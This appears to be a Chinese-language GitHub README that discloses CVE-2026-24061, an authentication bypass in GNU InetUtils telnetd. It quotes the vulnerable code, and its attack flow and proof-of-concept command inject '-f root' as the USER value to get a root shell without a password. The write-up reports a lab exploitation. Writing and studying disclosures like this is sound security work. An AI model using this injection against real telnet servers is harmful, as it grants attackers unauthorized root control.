achnouri/CVE-2026-24061-GNU-InetUtils-telnetd

GitHub: achnouri/CVE-2026-24061-GNU-InetUtils-telnetd

该项目详细披露并验证了 GNU InetUtils telnetd 中因 USER 环境变量未过滤而导致的远程身份验证绕过漏洞(CVE-2026-24061)。

Stars: 0 | Forks: 0

## CVE-2026–24061 : GNU InetUtils telnetd 身份验证绕过漏洞
`CVE-2026–24061` 是 GNU InetUtils 的 telnetd 服务中的一个严重漏洞 **CVE ID :** CVE-2026–24061
**严重程度 :** 严重 (CVSS 9.8)
**攻击向量 :** 网络
**需要身份验证 :** 无
**影响 :** 完全控制系统 (root 访问权限)
该漏洞源于在建立 `Telnet 会话` 时对 `USER 环境变量` 的处理不当,该值被直接转发到 `/usr/bin/login` 的参数列表中 **没有任何过滤或验证,因此,远程攻击者可以操纵此输入来注入命令行选项,从而有效地绕过身份验证并立即获取 root shell**
#### 漏洞代码片段 以下来自 `telnetd/utility_file.c` 的代码片段展示了用户提供的值是如何在未经验证的情况下被直接使用的: ``` case 'h': return xstrdup (remote_hostname); case 'l': return xstrdup (local_hostname); case 'L': return xstrdup (line); case 't': q = strchr (line + 1, '/'); if (q) q++; else q = line; return xstrdup (q); case 'T': return terminaltype ? xstrdup (terminaltype) : NULL; case 'u': return user_name ? xstrdup (user_name) : NULL; case 'U': return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); ```
**问题 :** 用户可控的值 *USER*、*terminaltype* 和 *line* :在未经验证的情况下被使用。直接被复制到内部结构中
由于这些值可以由远程客户端通过 Telnet 协议进行影响,**这产生了一个严重的注入点** **攻击流程 :** - 连接到目标 telnetd 服务 - 使用 Telnet NEW_ENVIRON 选项设置:**USER= " -f root"** - 服务器在未经验证的情况下处理此值 - 注入的标志被解析,可能导致身份验证绕过或权限提升
**概念验证** 一个最小的概念验证展示了如何利用该漏洞: ``` USER='-f root' telnet -a telnet -l -'f root' ip_addr ``` **此命令在 Telnet 握手期间注入恶意的 USER 值,这可能导致在易受攻击的系统上获得未经授权的 root 访问权限**
### 实践实验 : 我完成了一个关于 `CVE-2026–24061` 的实验,在实验中我利用 telnet -l '-f root' 176.16.2.153 利用该漏洞注入恶意参数并实现身份验证绕过,最终在目标系统上获得了 root 级别的访问权限
**内部执行流程 :** 1 - **l :** 指代登录名
2 - **'-f root'**: 作为用户名传递的值,(-f : 不检查密码 - 跳过身份验证),(root: 目标用户))
3 - 存在漏洞的服务器未进行任何过滤
4 - 它将 -f 解析为标志,而不是用户名的一部分
这使我能够注入恶意参数、绕过身份验证,并获取目标系统的 root 级别访问权限 **技术总结** 该漏洞存在于 telnetd 处理 NEW_ENVIRON Telnet 选项的方式中。它允许客户端定义要传递给系统 `/usr/bin/login` 二进制文件的环境变量。由于 telnetd 未能对 USER 变量进行过滤,攻击者可以注入 `-f` 标志(强制登录),这会指示 login 工具跳过密码验证,并立即为指定用户(通常是 root)授予一个会话
标签:PoC, 免杀, 命令注入, 提权, 暴力破解, 漏洞, 认证绕过